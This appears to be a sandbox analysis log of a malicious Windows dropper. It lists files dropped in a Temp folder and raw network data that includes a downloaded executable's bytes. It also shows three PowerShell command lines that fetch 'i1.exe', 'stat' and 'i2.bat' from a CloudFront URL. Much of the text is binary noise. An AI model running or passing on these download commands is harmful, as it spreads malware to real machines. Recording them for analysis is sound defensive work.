base_address: 0x05143000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsbEF04.tmp\app.bat
file C:\Users\test22\AppData\Local\Temp\i1.exe
file C:\Users\test22\AppData\Local\Temp\nsbEF04.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
cmdline powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
cmdline powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
file C:\Users\test22\AppData\Local\Temp\i1.exe
file C:\Users\test22\AppData\Local\Temp\i1.exe
file C:\Users\test22\AppData\Local\Temp\nsbEF04.tmp\INetC.dll
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received W6|®’6Â=ìރÆIçBƒ7WqÒ,Ä‚DOWNGRD Ò¨C$ñœ+|çtU=å kKÍbâµñ‰m™­$4À ÿ
Data received b
Data received 6`¨›^\€²/Yö‡ù%C†çiRšáqãØ- NoöÈIÙ¶óV®+¶tëÏû&㺖.j;X”‰GVÿ% “pSƒÚ„tÃgžh:ߎ@ZJNÏC‘;çVÖpËRî{}®:ç¼1ùEöÂ`ÏY+€Ì4G߹ސemÏ,‘¦¦çޅI|fN£:m©µî4.º ¸3ßGë±k%ٛ΁ÑEF2–p‡ÞIC…¶ls»dêaA¬ÉÔT߇/Ç"²&̟YThŸü¾*/ÄUu@`…U9‹£ð0í0Uÿ0ÿ0Uÿ†0Uœ_ߪ×0+8ˆ¢¸mJœò‘ƒ0U#0€¿_·ÑÎ݆ô[U¬Üשˆç0O+C0A0+0†http://o.ss2.us/0!+0†http://x.ss2.us/x.cer0&U00  †http://s.ss2.us/r.crl0U  00U 0  *†H†÷  ‚#ãŠWÊ}éyLñUýÌSn>GßÆUò²6í€SÄ]4(k¾ÇUügêË?²3ÍX‚øø/õ`ÔÎñÁݧu—O¹mÞ÷“‘º~@,íÁê»vž3w SÝd«‚'ñiÕM^®ô¡Ãu§XD-ò<p˜¬ºi¶•w1^,ü ‡:Giðy_ôT¤•^x`'ΟÂwÿ#Sw]ºÿêYçÛϯ’–ï$š5zœ‘Æ}™ö?ßõrTá©Y{ƒ¿R.FŒ²dvHÓØyènVÌ®,×8™äÊ [ÿ–°¨4IßV©÷°_í3íŒG·0]ôŒ
Data received K
Data received GAýøPú0:f;D#ïí×`¨‘kg˜3†Ä§{垈a~ŸP1šSjÙë¢J©ÆÄû„|ýFwm‹4ð”5CwÆ[uRàh©"â“ÚÙ°þ+>œÈlóo´0Š~!v‰'”eNèÅg£ÕÐ6îõµ) Þ"Üݯ2:êËÉZIOFtK®ÓS¸›óžßÄeõT.—ÿ€bÀ/\«VÐEß^æŠü:ÃÇÓ°pÌz1hòÞ1>ÊÕ²”¼]FÒïíx‡0?gº×üSÖ¦ ãî®RµýÌIesç]ÿ)ɨ…Q±bŽ%ÁZÑ<ÝÊ'LŸBÇû¤äÊúàj9n©Ôµ*ë y„6 ¦p.£ýwbÁ[êú¼¼QV4Ÿr)ì,q1Yy«>Å~Ê"¾Ô¹=JWœ–Ë3V[ˆ•N
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received üëJ õ6´ÞÂjþö„ÑÚ_)z.Ïĝ†RË«² NÄoŒÎ4;R¢‘³„b÷¼H
Data received  
Data received ÏV3êAµðH¦<iÂòØ/cÜOÿ!¶aÄ´Xä8ÙxT9îú GŽç˜üær(‘˜ë㑠5 ÌvPÔ½%OÐy˪–;Úë #ÍÙ3¼˜$Ê.]Ö}¥ŸÝjW…¿¿®3Ëõ»ïä}• ¤µP YÄS^}ù¶ŸÔÿ7Ø@BËɾ1fIçíB'} eiÏÉÚ\e áq9QaÉhøJCÔÀ1‚És¡eß/Cà Áj ÿš*pdPdª\:l®ŒcúŽÖÕ×;·5sEN–üô:t)áóŠVl @Ô5¸ªâ»íÍäË՜XÖF¶Ð·§ÙÒ·Ö*¡:êBI¨ØŽ‰;¥¾Œ3t+Ť¼âÿH÷Í2‚h«-àÍÑ0z[ԙ4¼ª¹\†ë}x”Ìîö¹W¤Y±Œ´)DüW;ZÆ­µe6¬Ët˟méá ¤UÊɞ#³*ö öÓg$Ŝ?»ÐæÏgZI‚îžÈ„ô>m…Z‚j‰~ƒ©¼÷ —,—P[kÆŸ_7‡“Y ݱ\
Data received WÙ-n\Á,ÌJ%WïG`t vpb/DOWNGRD 5Ž#6JòÄäv¹¤:Ùq{ñ-_àWfAsšòú¸+JtËêÀ ÿ
Data received GA~£5?÷Œoeâ]'ሸÓîþ¦3zšŸj]­Ë…¦j±HW?ê5ûÃÛYÜE¬€è¥Ø“v’¶7<­)€2á½Vu€#†¥©Tµ¿Öuå¢(›ô¾Õ -æQ®vë-–ó¶œun¼³ƒ±O›»Cá߈FnžSՐpð‡Õ&t=¯]ºø# ÙmîpHÄ÷Òn Ûv,† »øÖ†}Æ ´¼ÁðxÃ*[+}À,£_Øì·47ÿRÜþ$¼¾ËðaٓŒüxXÔþŠÏqIÉÚ,ۓ+IåÆ<æu[iñÕFë èFTèÑ Å]6a«C¾Úm¤®D®÷\¹»C|<£ºÝô{ÆYX.)öc7{Fƒ™{9—*+R;$”ot­>ÕΫçUÚFmx›B¿Ð
Data received ˜˜ÒNB±­¦fl½“+09ÊØQÿëô/6­ûqö³$eé͘±)KoQ-« ÞbZ
Data received Ð
Data received ÅÝíÖ/o…]d `^VžLý¢j€2OĀrQ€š§]%†wñK«:Àe4ý|7ë[€ Njf~ÙþŒÈ-[w¡.üFñù€ñúç b¼EIZ #äÿÎ Ø3¤ È2‘Úè~wF¨†]y=¦¤‡(bÜ,C7ìh Ü†sj Þäê|S¦ptn=W¶§öþj^õ(›‹¹àØ~C s×CÑcfûicÛ×> í6ÆHBÐ;Egh…bâ{sNcÃ5©™<üAE“weŸpTx_ÜԔ7ûuy®0 ‹¡Ã`äþÎ̯‡©É zfΓwËÊíú§§F÷zÔ¬Tþ9Î ®$ !¼²Œ7SC^s…ãÖÈÏ;ÅÔi à ð‰›p̓iõhF`º;»Òb‹È À%U·üƒž`Y7#PºÙ³2…×Ä}š˞¶ƒ¢Y =âêKØ{ó õ1óHŽÖCۍœ}*~xNŒ OSl@ÅÞkQ`š¤'xÀqÛ(ñÞ·f`8À˾°m_-Oãë¤ÈPv0­† >§û¢,¢ÕDÁ¿(”×9›NÂf´n8ŸQO¤#çë2õV™iÂ×½ñàÔd­"
Data received HTTP/1.1 200 OK Date: Fri, 03 May 2024 06:35:31 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 03 May 2024 06:30:01 GMT ETag: "74c01-61786d9769497" Accept-Ranges: bytes Content-Length: 478209 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $2×Çv¶©Lv¶©Lv¶©L{ävLj¶©L{äIL ¶©L{äHL]¶©LÎ:Ls¶©Lv¶¨L¶©LÃ(LLw¶©L{ärLw¶©LÃ(wLw¶©LRichv¶©LPELóSYdà  üÞb?@ðc$_dt<°aù2à8Èi@p.textåûü `.rdata²ln@@.dataH&`€ªn@À.rsrcù2°a4@@¹\•¡èuhÛ AèŸ)Yùd•¡èÈhÑ Aè‰)YùP•¡èhÇ Aès)YÃj¹X•¡èÃj¹L•¡èÃj¹`•¡èûÃj¹T•¡èîÃÌÌÌÌÌÌÌÌÌÌU‹ìQQƒìòL$ò$èˆÝ]øòEøƒÄ‹å]ÃU‹ìQQQQò$è(%Ý]øòEøYY‹å]ÃU‹ìVE‹ñPè…Ç1A‹Æ^]ÂÇ1AéÐU‹ìV‹ñèêÿÿÿöEtVèª)Y‹Æ^]ÂU‹ì‹E ]ÃU‹ì‹E€8u3À]ÃPè×%Y]ÃU‹ìƒ}u‹E]Ã]éU‹ìƒ}u‹E]Ã]é<U‹ì‹E Š‹Eˆ]ÃU‹ì‹E‰‹Á]ÂÇtA‹ÁÃÇtAÃU‹ì3À;M”À]ÂU‹ìV‹ñèßÿÿÿöEtVè)Y‹Æ^]‹ËAÃU‹ì‹E‰‹E ‰A‹Á]‹ËAÃU‹ìW‹ù‹MèîÿÿÿP‹Ïèæÿÿÿ‹Èè“ÿÿÿ„Àt‹MVèÏÿÿÿ‹Ï‹ðèÆÿÿÿ;Æ^u3À@ë3À_]ÂU‹ìQÿu ‹Mè’ÿÿÿ‹E]ÂU‹ìQQÿu ‹UøÿuRÿP ‹Èè‹ÿÿÿ‹å]ÂU‹ìV‹ñ‹MèXÿÿÿP‹Îèÿÿÿ^„Àt‹Mè@ÿÿÿ;E u3À@ë3À]ÂV‹ñèêþÿÿǐA‹Æ^ø°fAÃU‹ìQÿu ƒeüè6Y…À¹¸fAEÈQ‹Mèœ ‹E‹å]ÂU‹ìV‹ñèöEtVèÓ'Y‹Æ^]Âé’þÿÿV‹ñèÿÿÿǬA‹Æ^øÈfAÃU‹ìQƒeüƒ} u‹MhÔfAè< ë ÿu ÿuèoÿÿÿ‹E‹å]ÂU‹ìV‹ñèöEtVèf'Y‹Æ^]ÂéŽÿÿÿV‹ñè"ÿÿÿÇÈA‹Æ^øìfAÃU‹ìQÿu ƒeüèŠY…À¹¸fAEÈQ‹MèÆ ‹E‹å]ÂU‹ìÿu è8Y…Àtè>ëè=‹MPÿu èôýÿÿ‹E]ÂU‹ìV‹ñèöEtVèÎ&Y‹Æ^]Âéöþÿÿ¸\•¡øP•¡Áá4ïÆÃU‹ìì SV‹ñ3ہ=@•¡”W‰ű‹~‰EèuS…äöÿÿPSÿHA¡’AMô‰EØ¡’A‰]ôÇEÔ¹y7ž‰EÜè¡ÿÿÿ¡ ’AEô?‹5’Aj ‰EÐ[ÇEäƒEä‹EèÁàÆÇEð@.ëí=@•¡©‰Eü¡<•¡DEðƒeð=@•¡ë£<•¡¡¨”¡DE𣨔¡‹EôEè‰Eð‹EèÁè‰Eø‹Mü3Mð‹EøEÐ3Á‰Mü‹ @•¡Ç8•¡î=êô
Data received ÿÿÿèëNju‹}äVèÉYÃU‹ì‹E™3Â+Â]ÃU‹ìƒìë ÿuè@@Y…ÀtÿuèË Y…Àtæ‹å]ÃjEüÇEüìAPMðè‹ðÿÿhÈnAEðÇEðäAPè‘Ìjh0pAèZèL·ðjèJY¸MZf9@t3Ûë3¡<@¸@PEuë¹ f9ˆ@uÝ3ۃ¸t@v 9˜è@•Ã‰]äèuD…ÀujèÜYèÑC…ÀujèËYèŠJƒeüèy8…Àyjè±Yÿ°A£D¦¡è¥J£*Eè9D…ÀyjèÑYèeF…Àyj èÀYjèòY…ÀtPè­Yè¤NVPjh@èÛÙÿÿ‹ð‰u܅ÛuVè-è°ë.‹Mì‹‹‰EàQPè]?YYËeè‹uà‰u܃}äuVèèqÇEüþÿÿÿ‹Æè\ÃU‹ìƒ=Ø3Euè±FÿuèGhÿè YY]ÃèýHéþÿÿ; „AuóÃéNU‹ìƒì VWjY¾ A}àó¥‹u ‹}…ötöt‹ƒéQ‹‹pÿP ‰}ø‰uü…öt ötÇEô@™EôPÿuðÿuäÿuàÿ´A_^‹å]ÂPdÿ5D$ +d$ SVW‰(‹è¡„A3ÅP‰eðÿuüÇEüÿÿÿÿEôd£ÃU‹ìVü‹u ‹N3ÎèFÿÿÿjVÿvÿv jÿuÿvÿuèÿ[ƒÄ ^]ÃU‹ìQSü‹E ‹H3M èÿÿÿ‹E‹@ƒàft‹E Ç@$3À@ëlëjj‹E ÿp‹E ÿp‹E ÿp jÿu‹E ÿpÿuè¢[ƒÄ ‹E ƒx$u ÿuÿu è-jjjjjEüPh#莃Ä‹Eü‹] ‹c‹k ÿà3À@[‹å]ÃU‹ìƒì¡„AMèƒeè3Á‹M‰Eð‹E ‰Eô‹E@ÇEì3@@‰Mø‰Eüd¡‰EèEèd£ÿuQÿuèÞM‹È‹Eèd£‹Á‹å]ÃXY‡$ÿàXY‡$ÿàXY‡$ÿàU‹ìƒì8S}#u¸!B@‹M ‰3À@鰃eÈÇEÌd@@¡„AMÈ3Á‰EЋE‰EԋE ‰E؋E‰E܋E ‰Eàƒeäƒeèƒeì‰eä‰mèd¡‰EȍEÈd£ÇEü‹E‰Eð‹E‰Eôè?‹€€‰EøEðP‹Eÿ0ÿUøYYƒeüƒ}ìtd‹‹‹]ȉd‰ë ‹EÈd£‹Eü[‹å]ÃU‹ìQQ‹ES‹] V‹p ‹H‰Mø‰uüW‹þ…Ûx3‹Uƒþÿu èM‹Mø‹UNkÆ9T};T~ƒþÿu‹}üK‰uü…ÛyЋEF‰0‹E‰8‹E;x w;÷vè¾L‹MøkÆ_^[Á‹å]ÃU‹ìQS‹E ƒÀ ‰Eüd‹‹d£‹E‹] ‹mü‹cüÿà[‹å]ÂU‹ìQQSVWd‹5‰uøÇEü)C@jÿu ÿuüÿuÿ¸A‹E ‹@ƒàý‹M ‰Ad‹=‹]ø‰;d‰_^[‹å]ÂU‹ì‹M V‹u‰è¶=‹ˆ˜‰Nè¨=‰°˜‹Æ^]ÃU‹ìVè”=‹u;°˜uè„=‹N‰ˆ˜^]Ãès=‹ˆ˜ë ‹A;ðt‹Èƒyuñ^]é¶K‹F‰AëÒU‹ìèE=‹€˜…Àt‹M9t ‹@…Àuõ3À@]Ã3À]ÃU‹ìƒìSVWü‰Eü3ÀPPPÿuüÿuÿuÿu ÿuè@XƒÄ ‰Eø_^[‹Eø‹å]ÃU‹ìèƒ}tèdÛâ]ø¥@Ç´…A‘¦@£°…AǸ…A"§@Ǽ…A|§@ÇÀ…A¨@£Ä…AÇȅAƝ@Ç̅A:§@ÇЅA¢¦@ÇԅA§@ÃU‹ìƒ%*EƒìS3ÛC  €Aj è–Æ…À„L3ɉ*E3À¢V‹5 €AW}äƒÎ‰‰_‰O‰W ‹Eä‹Mð‰EôñineI‹Eì5ntel‰5 €A ȋEè5Genu È÷ÙjÉXþÁjY¢‰‰_‰O‰W ‹Mì‰MøtC‹Eä%ð?ÿ=Àt#=`t=pt=Pt=`t=pu‹=*EƒÏ‰=*Eë‹=*Eƒ}ô|5j3ɍuäX¢‰‹Æ‹5 €A‰X‰H‹Mø‰P ‹Eè©t ƒÏ‰=*Eë3À÷ÁtMƒÎÇ*E‰5 €A÷Át2÷Át*ƒÎÇ*E‰5 €A¨ tƒÎ Ç*E‰5 €A_^3À[‹å]ÃÌÌÌè7†éë"è.ÙÉëÙáÙèŠé2ÉëƅpÿÿÿþÙáÙÉÙáÙÉÙó ÉtÙëÞá ítÙàÃÙáÙÀÙÀÙèÞáÙÉÙèÞÁÞÉÙä›Ý½`ÿÿÿ›ö…aÿÿÿu2íÙúÃXéªcÝØÛ-J1AÃÝØ Ét ÝØÙë ítÙàÃÝØÙî ít÷ÙàÃÝØé€cÝ؊ÍëèÉÿÿÿé‹cÌÌÌÌÌÌÌÌU‹ìÄ0ýÿÿS›Ù½\ÿÿÿ›ƒ=à…Atèb€8ýÿÿè—[ÉÃÙÉݕzÿÿÿÙÉÝU‚ëÝU‹ìÄ0ýÿÿS›Ù½\ÿÿÿƒ=à…Atèca€8ýÿÿ€¥8ýÿÿýèS[ÉÃݕzÿÿÿëÝU‹ìÄ0ýÿÿSÿu ÿuè­ƒÄÿuÿu蟃ěٽ\ÿÿÿ€8ýÿÿèsaè[ÉÀ¥8ýÿÿþƒ=*EuOݕ0ýÿÿŠ…pÿÿÿ Àt<ÿt[<þt? Àt3¾À‰
Data received ‰Eü‹EMäS‹]VW‹} j^VQMÔQÿpÿ0èv8ƒÄ…ÿuèÀ§ÿÿ‰0èJ§ÿÿ‹Æët‹u…öu 詧ÿÿj^ëäƒÉÿ;ñt3À‹Îƒ}Ô-”À+È3À…ÛŸÀ+ȍEÔPCPQ3Ƀ}Ô-”Á3À…ÛŸÀÏÁPè–6ƒÄ…ÀtÆëÿuEÔjPÿuSVWèõýÿÿƒÄ‹Mü_^3Í[誛ÿÿ‹å]ÃU‹ìƒì‹EMìSVÿu‹@H‰Eü说ÿÿ‹u…ötƒ} wè§ÿÿj[‰舦ÿÿé™3ÛW‹}8]t‹Mü;Ïu‹U3Àƒ:-”ÀÁfÇ00‹Eƒ8-uÆ-F‹@…ÀjVè¸YÆ0FYëð…ÿ~JjV袋EìYY‹€„‹ŠˆF‹E‹@…Ày&8]t‹ø÷ßë÷Ø;ø|‹øWVèlWj0V踃Ä_€}øt‹Môƒapý^‹Ã[‹å]ÃU‹ìƒì,¡„A3ʼnEü‹EMäSW‹} j[SQMÔQÿpÿ0èÀ6ƒÄ…ÿuè ¦ÿÿ‰蔥ÿÿ‹ÃëlV‹u…öuèò¥ÿÿ‰è|¥ÿÿ‹ÃëSƒÉÿ;ñt 3À‹Îƒ}Ô-”À+ȋ]EÔP‹EØÃP3Àƒ}Ô-Q”ÀÇPèæ4ƒÄ…ÀtÆëÿuEÔjPSVWègþÿÿƒÄ^‹Mü_3Í[èý™ÿÿ‹å]ÃU‹ìƒì0¡„A3ʼnEü‹EMäSW‹} j[SQMÐQÿpÿ0èÿ5ƒÄ…ÿuèI¥ÿÿ‰èÓ¤ÿÿ‹Ãé§V‹u…öuè.¥ÿÿ‰踤ÿÿ‹Ã鋋EÔ3ÉHƒ}Ð-‰Eà”ÁƒÈÿ9;ðt‹Æ+ÁMÐQÿuPSè&4ƒÄ…ÀtÆëS‹EÔH9EàœÁƒøü|+;E}&„Ét ŠC„ÀuùˆCþÿuEÐjPÿuVWèƒýÿÿƒÄëÿuEÐjPÿuÿuVWèIûÿÿƒÄ^‹Mü_3Í[èþ˜ÿÿ‹å]ÃU‹ìjÿuèYY]ÃU‹ìƒìWÿu Mðèý±ÿÿ‹U‹}ðŠ „Ét‹‡„‹Š:ÈtBŠ „ÉuõŠB„Àt4ë <et <EtBŠ„ÀuñV‹òJ€:0tú‹‡„‹Š:uJŠBFˆ„Àuö^€}ü_t‹Eøƒ`pý‹å]ÃU‹ìjÿuÿu ÿuèƒÄ]ÃU‹ìQQƒ}ÿuÿutEøPè‹M ‹Eø‰‹Eü‰AëEPè’‹M ‹E‰ƒÄ ‹å]ÃU‹ìjÿuèYY]ÃU‹ìƒìMðVÿu è±ÿÿ‹u¾Pè91ƒøeë F¶Pè¼/…ÀYuñ¾Pè1YƒøxuƒÆ‹EðŠ‹€„‹ŠˆFŠˆŠÈŠF„Àuó^8Eüt‹Eøƒ`pý‹å]ÃU‹ì‹EÙîÜßàöÄAz3À@]Ã3À]ÃU‹ìW‹} …ÿtV‹uVèЎÿÿ@P>VPè
Data received þÿÿÿl@u@@ ’@ÿÿÿÿÿÿÿÿTrA"“drAtrAþÿÿÿÔÿÿÿþÿÿÿ"›@&›@â@ÜrAèrAoAˆEÿÿÿÿ —@þÿÿÿØÿÿÿþÿÿÿ?­@þÿÿÿØÿÿÿþÿÿÿy®@Œ®@þÿÿÿÔÿÿÿþÿÿÿ?²@þÿÿÿÐÿÿÿþÿÿÿº³@þÿÿÿÐÿÿÿþÿÿÿó¸@þÿÿÿÔÿÿÿþÿÿÿV¼@þÿÿÿØÿÿÿþÿÿÿÄ@þÿÿÿÐÿÿÿþÿÿÿgÅ@þÿÿÿÈÿÿÿþÿÿÿÃÎ@þÿÿÿØÿÿÿþÿÿÿ1Ð@þÿÿÿÌÿÿÿþÿÿÿÒ@¨tìx t yúx8vLv^vvvŠv¢v°vÄvÜvðvww w0wBwTwdwzww$v°wÀwÖwæwöwxx*x6xFxbxrx„x”x¨x¾xÔxšwvy&y6yRydyvy‚y–y¢y®y¼yÒyèyôy z$z4zBzZzlzzzz¢z®zÈzâzüz{2{P{x{€{”{¨{´{Â{Ð{Ú{ì{ø{||"|2|D|X|h|||’|¤|ûGetFullPathNameWŒGetComputerNameA]CommConfigDialogA>LoadLibraryExWïInterlockedIncrementGetConsoleAliasAëInterlockedDecrementBackupSeekGetModuleHandleW®GetWindowsDirectoryAEnumTimeFormatsA%SetCommState³GlobalAlloc¶GlobalFindAtomA?LoadLibraryWÁTerminateThreadGetLocaleInfoW$WriteConsoleWGetModuleFileNameWoGetSystemDirectoryAhGetACPgMultiByteToWideChar…GetTempPathW°GetConsoleOutputCPGetLastErrorsSetLastErrorEGetProcAddress“CreateHardLinkW…CreateEventWAddAtomAÃGlobalUnWireÉDebugSetProcessKillOnExit:BuildCommDCBAïVirtualProtect£GetVersionExA¸ReadConsoleInputWÁGetCurrentProcessIdaSetFileAttributesW§GetVolumeInformationWKERNEL32.dllåDeleteMetaFileGDI32.dllêEncodePointerÊDecodePointerIsProcessorFeaturePresent‡GetCommandLineW±RaiseExceptionRtlUnwindIsDebuggerPresentÏHeapFreeËHeapAllocExitProcessGetModuleHandleExWWideCharToMultiByteÔHeapSizeîEnterCriticalSection9LeaveCriticalSectiondGetStdHandleóGetFileTypeÑDeleteCriticalSectioncGetStartupInfoWRCloseHandleÅGetCurrentThreadIdJGetProcessHeap%WriteFile§QueryPerformanceCounteryGetSystemTimeAsFileTimeÚGetEnvironmentStringsWaFreeEnvironmentStringsWÓUnhandledExceptionFilter¥SetUnhandledExceptionFilterãInitializeCriticalSectionAndSpinCount²SleepÀGetCurrentProcessÀTerminateProcessÅTlsAllocÇTlsGetValueÈTlsSetValueÆTlsFree IsValidCodePage7GetOEMCPrGetCPInfoÒHeapReAlloc-LCMapStringWšGetConsoleCP¬GetConsoleModegSetFilePointerEx‡SetStdHandleWFl
Data received ushFileBuffersŠOutputDebugStringWiGetStringTypeWCreateFileWu˜s˜        ! 5A CPR S WY l m pr €  ‚ ƒ„ ‘)ž ¡¤ § ·Î×  ? –¡ –¡8"A@"ANæ@»±¿Dsqrtðøÿÿÿÿÿÿÿ!A¸!A¨!A¬!A¬"A´"A!¼"A¼!A Ä!AÔ!AÄ"A"Aô!Aø!A ü!A Ü!A ä!AÌ"Aì!AÔ"AÜ"Aä"Aì"Aô"A"ü"A##A$#A%#A&#A€D€0ÿÿÿÿ€ ÿÿÿÿÿÿÿÿ¬Ý@¬Ý@¬Ý@¬Ý@¬Ý@¬Ý@¬Ý@¬Ý@¬Ý@¬Ý@”& abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
Data received ]T$^1iœÆñٍ6G ë GÍéÞK& Ý×ú-Œ)Sv`¤W4¼œ%ÚK“ãªËBn¾»úC”z¥ëÜXâ`›¹¶jãÈ>ÏhANÛ#豂+(™ós¤G{ºO阶=Ä&ۉ©q‹òªAÐ+EMòÙÛøsàT߶ž!·iŠ,ªÍ½Ñ‡Ô¢¶È“Œ‡R¡¯¸!_5L.«s«¥füð=§ý³.°xù5›œŒÁË¡“]¦DE¸x÷óðö‰|Ŗ¬|{õ°¥Ð²| QWo-Bðg@ ò59ýö·ê‹Fù)Cb%_MÙ¡hćœ2.Þ. ë'[iJ—aÁfŚ&ac×êN®ª±§8h¥÷Q,ª¼ý]&°QòÒÖ¯7 ZÁÔÙÏXäœÂÃQGŒŠÀyZ®é 8kX6t÷6U–qKëꎹ ðèG¼ë1Ê»™µu’)â`rŠ—¢ÊÞU uf]<ýCL"Œn3\ŸŽ8& ^¨´ÒtC¯’C×/câõŠ,œ“£ Í¼²1S4h+¤…ή,v£µ£t¯n®Ð  œsŒñkì †é“ 4ë5¾í=© ãt% R¶†¤¦I4Û£ñÛòø«£øRޟÓ悩›äìUm_E7¢ðò^ÞøñÜ&՝6ߜXßµ0(]~jZAq§mMH¯1Dô˜} xacUož«†.OplPS×ù9«*übΒШæHÂã˜¸Û ?ßÏgLZl&ü4æ§.p–a)Â^µà|Tç“iƒYE6¼Õ`ƒ×qT*‡¿í£ˆ g®¸…šTB‘múU³®ì^<Mr%w$GËÄ5––òOôé.ԍ™7ŒÌBýÌdüE(%‰·{uÇÃ9aפÐê ùÒú&c(!v&ǝáb«mŠøÝUóŽ¬ç³ò—¥¹K[“½8½TêJ1z,ªa&‹6´òŽàA“œÔe+\òm¨„,ÑîžH;Y¼±[€«,:Q‰j74ðQ ~Dž֢èRéÇDÛs†ˆ¸@\Ñ°3£®Œ‚ôÏ{5åFÍÉßõøFî  ³…Y•Ø8+¼/­yÛî«"ApRÞAô‡ð˸W÷»Œnj¯:—¶áìDü‚«Ðî~mÖÜÐà‡,[£¢v¤•¼[yV¬’³ÉÅ·¥¦iêC΅ÿB¢H$6”—<EX<6zÿìŠöÖJÁ’ƒŒIZœ½ŒvšþƒAÙ&,ISYn:!DۅÂø^juޙÂÆw ¼ÆÁHÑÕQã=¿×uÜÔö˜0ñ{¾Ážp@`¡"=ÝӁÊQ,QëþêC5ËöÀÐBn†6È‹æ=·câ©tOø¡®6ç^¸™_x|×û,ð·âOr…³1Ì8%^*5äñjüŽÌe4[•N xÒÞ`[¬¶joì˜m®È0ê7h ¬‘ùnãlÛŒc8»GDQBÙX´Œé÷G ÝA Ûåÿøy…ØQ SA‹])%ùՃO'ôÖŨ°ÖçwÕ/øʀO˜©YÅָ׺Å&ä7øÞþ Éì‰ìð¼ÉfS´ÅRÔÿC>s ¨!ÉXç'­kçQåRE?Æ@ ɪ†aH;6zUJzð!LJ TÓ6çs!¥+>§[Ró¦Q:zýI¤=¿ë™Ö`-îþnßf…”ƒˆ±ä†Ü¨†è¹sp]bRèé`C·Þcô^!’‰;ó, %ÇB1šÒ*Ù\÷Cq‹ ‚šâɗùôÞ0½ º*h{fóG„oÝiLf_=ÿuà9j%ĹTù{ÏM›‹RUþ=Kr&¤CÃ>e_ÌÊ"ßI ¤mý(Ú0U<‹›ÃG™ÓH€g_G꺻XzŒ…Úþë‘.kbÞÎó"æä@àmq÷âåà±.g‡r}JvÌA Bèk1Øo"µæLkóTìµ.b,hçsÍWOJ¡àµ§o3%#†ÆåÑ2öôáúºÇ13Á†H²‰95Šø%N»¹¡*G”X,ùÓ±PNW-¦LLªWèq&RXé`ïwZìJX~¾dG:¼¨¦èOoïNbˊ¬¤þoyù½öÒ6© Œ4酁1mRÚôԖ؞™iק¿œPš²»êZÁâ–VVÇÅaþëMØ}Y@d;k¼?£|µë´^ƒÓÒ´>¶uå0–öN¹Ë‹ÛÛûwŸ¶ñ¤ÌïwŠ‡ûâìs|É%ė±ÈB(Ý+ÍÈp>… ¥’™=ø½ 2ÂÒø*eº²Q yr’ìkQ^SQÒ*o0anӐ rþ—N±ùoÄoaóœþcR+¾][|}†xpÝû£nuƒá!78ùaØüâœ1`‹´?Õ\î’Ñô:=U(hˆjçž2=Ó¡Í" ²4íwG…M²°Q†r:É=ty‹ EW*ñ„>@ZZ¤˜áÕ°gc?þ¢õ¦"ºšæl]énýg³Ã3x/»T{+fª^>®!¥Ì¯€£|ædxŠjW½_YÊÃT¸ïw‹‹=>tÂ¥™"ô*dÿLÇMôå¼m3íÐ á[²/·ØTN¬Ç_È,“lÈ+æ7€¦ ˝ås²ÈZÇAgR[¶€ø´ÓGûSj@ñ± …wd8;8.¿b«ú’¨š[tùº¼“EÆޝWß";„ñ¹,VÞ,Üÿw`(­dàpюîmú‰Ÿ–e¨ÎŠí¨ ? íÐ+Wšá^ÁïVoCAðr£³ãëÉr§=`ÏÕ¾y2æÊ{Œ6½8”àìÁà.ìvrYñËbÍÜ0 5&«–oúP ù-ek~ê®ÃxŽ†c¯žº>é$ÞÀ}¦Ü·F(ÃnÙyÊ[›ýšzß¼À¯=¸JD“É~Æ9¤R{‰þÓGŽ"^A~E=¢P1&R}Y§Ú—a4ôÖtø ÐBOÃO-àE½½~ÖB֏ï+ëÒ×â´ýP?Ãe¸Ö­4QbŒ••hÞõŸ°’ºœ{‰pzd‘öBP®¥ö}Ïrå¤2®†șM¶Ë1I•/µ-Ä9ôZÔðõæ1¦û:ïØoj¾œ`°b\‰l¹[ >”²®ôY–lÕêœ'JTÖÈßM6ro6¬Péÿžå¶„®3@ø—!˜äí¶{p°ÇqÑeØf’¼qÓÕ?YcGðG¢ý m Ēwyˆ¤É¢‡Ýæ ±Ç ‡©õ5ž–Õ+Ӟ¦Ø&pâO÷ØÖ$ü`‹E:ðwô­º½¢ÚCüñï ÷ÑÊG ø‰µf’~MQáÅÐo[gô¡5n¬
Data received àkb£‘.œçR&äh¿ h±b?™·€_ý²Dv¶F›XŠMBvü¶›öÂ@N,0j÷Á؁PùjzçÂ5©•?M§þ3œ›©¢Ž¥DхHp4Wñ‡Šl§5Ï·ËÁtÎé±}9” ,Ü¥¯8;åS„Â+ÇÅ"|Ó;9¬Ú£ÕËv$vƒ)3‚~ŽŸZ²¦ø¥VŸ$Ä Ö§s¡ž§¡3ÀÒrù WñyØ»YRÍf7Á µ˜UøÅ µ@uŠí²¿–Dq§’ǹÁW×o·÷5‰RNãþí‘m“ôTºQR–.Sþт>!7‡dîðÇ×}9âú‡M£AO{™ç½™WQéäu¨dmžPô^Í;©×’«¢„;S^Lȱ¥Ä ù¯‡rQ+‹épïô¸äªÖ¸;†foŠ mJf1¸?ç÷o+ý€û,5z[fcÔüÕ9_9N±‹6jˆ£uõ.؃a$2ekU5»…yÊcâÆ*+_L.ËY µ'64p#/¶¿ýÇ¥5Eó©Òqzoy”Ï%ìuµ¥þñ“‹¯heL­s["âüg ë'Ӟ͝ JT•Òe ;ãt¹?ÌñSG¾î®7Þ‡çý£åÇCI?‡˜¶››µRoM)‚t$ŠœïíR‡&¶Ô 